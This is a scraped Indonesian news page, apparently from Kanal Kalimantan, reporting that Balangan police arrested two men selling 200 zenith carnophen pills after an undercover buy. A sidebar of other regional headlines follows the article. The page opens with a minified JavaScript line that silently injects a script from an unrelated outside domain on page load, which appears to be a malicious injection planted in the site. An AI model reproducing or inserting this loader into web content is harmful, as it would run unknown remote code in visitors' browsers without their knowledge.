(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: Kanal

Dua Pemasok Zenith Asal HSU Ditangkap Polres Balangan


PARINGIN, Satuan Reserse Narkoba Polres Balangan berhasil mengungkap kasus peredaran obat daftar G jenis zenith carnophen. Dua tersangka diringkus di Jalan Desa Kupang, Kecamatan Lampihong, Kabupaten Balangan, Kamis (17/5).

Diketahui kedua tersangka merupakan warga Hulu Sungai Utara yaitu H (32) warga Desa Kamayahan RT 003, Kecamatan Amuntai Utara, Kabupaten Hulu Sungai Utara dan H (52) warga Jalan Abdul Azis RT 002 Kelurahan Tambalangan, Kecamatan Amuntai Tengah Kabupaten Hulu Sungai Utara.

Sebelumnya pada Rabu (16/5) Polres Balangan menerima laporan dari masyarakat bahwa adanya dugaan sering terjadinya peredaran obat terlarang zenith di wilayah Kabupaten Balangan.

Kapolres Balangan AKBP Moh Zamroni mengungkapkan dalam menindak lanjuti informasi tersebut anggota langsung melakukan penyelidikan, dan pada hari Kamis (17/5) sekitar pukul 21.00 Wita anggota menyaman untuk upaya pengungkapan tersangka.

“Setelah memastikan informasi tersebut, anggota kami mengatur rencana untuk meringkus para tersangka. Keesokannya anggota kami melakukan penyamaran untuk bisa bertransaksi terhadap tersangka,” ungkapnya.

Kamis (17/5) sekitar pukul 21.30 Wita di Jalan Umum Desa Kupang Kecamatan Lampihong Kabupaten Balangan, Anggota Sat Res Narkoba Polres Balangan yang melakukan penyamaran berhasil bertransaksi kepada kedua pelaku dengan membeli 2 bungkus zenith. Satu bungkusnya berisi 100 butir obat sehingga totalnya semuanya berisi 200 butir.

Anggota polisi yang saat itu menyamar, mengeluarkan uang sebanyak Rp 600 ribu untuk 1 bungkus dan untuk 1 bungkus lagi janji dibayar kemudian hari.

Setelah bertransaksi, H dan H berangkat untuk pulang ke rumah masing-masing, namun sesampainya di Desa Lampihong Kiri dilakukan pencegatan dan penangkapan oleh anggota Sat Res Narkoba Polres Balangan. Selanjutnya kedua tersangka beserta barang bukti diamankan ke Polres Balangan untuk penyidikan lebih lanjut. Barang bukti yang berhasil diamankan berupa 200 butir obat zenith carnophen, 1 buah sepeda motor Yamaha Mio Z -DA 6955 FAK-, 1 buah handphone, dan Uang Tunai Rp.600

“Kedua tersangka ini kita kenakan pasal 197 UU RI Nomor 36 Tahun 2009 tentang kesehatan jo 55 ayat 1 KUHPidana karena dengan sengaja atau mengedarkan kesediaan farmasi dan alat-alat kesehatan yang tidak memiliki izin edar,” pungkas Kapolres Balangan. (rico)

Reporter:Rico
Editor:Abi Zarrin Al Ghifari

Aldi Riduan

Uploader Terpercaya Kanal Kalimantan

Recent Posts

Wali Kota Yamin akan Tindak Pemilik Ruko yang Tidak Merawat Drainase

KANALKALIMANTAN.COM, BANJARMASIN — Wali Kota Banjarmasin H Muhammad Yamin HR menegaskan akan menindak pemilik Ruko… Read More

6 jam ago

Ketua DPRD Kalsel Sampaikan Tuntutan Mahasiswa ke Senayan

KANALKALIMANTAN.COM, JAKARTA — Ketua DPRD Kalimantan Selatan (Kalsel), H Supian HK menyampaikan tuntutan mahasiswa dari… Read More

7 jam ago

275 ASN Pemko Banjarmasin Pensiun di 2025

KANALKALIMANTAN.COM, BANJARMASIN — Sebanyak 275 Aparatur Sipil Negara (ASN) di lingkungan Pemerintah Kota (Pemko) Banjarmasin… Read More

7 jam ago

Pembebasan Lahan Bendungan Riam Kiwa Mendesak Atasi Banjir Tahunan

KANALKALIMANTAN.COM, BANJARMASIN - Balai Wilayah Sungai (BWS) Kalimantan III menyatakan kesiapan mempercepat pembangunan Bendungan Riam… Read More

11 jam ago

Cek Pelayanan Kesehatan Berjalan Optimal, Bupati Wiyatno Audiensi ke RSUD Kapuas

KANALKALIMANTAN.COM, KUALA KAPUAS - Bupati Kapuas H Muhammad Wiyatno melakukan kunjungan kerja sekaligus audiensi dengan… Read More

15 jam ago

67 Ribu Warga Tak Lagi Ditanggung BPJS Kesehatan, Pemko Banjarmasin Upayakan Pengaktifan Kembali

KANALKALIMANTAN.COM, BANJARMASIN — Masyarakat di Kota Banjarmasin sangat terpukul dengan kebijakan penonaktifan massal kepesertaan BPJS… Read More

1 hari ago

This website uses cookies.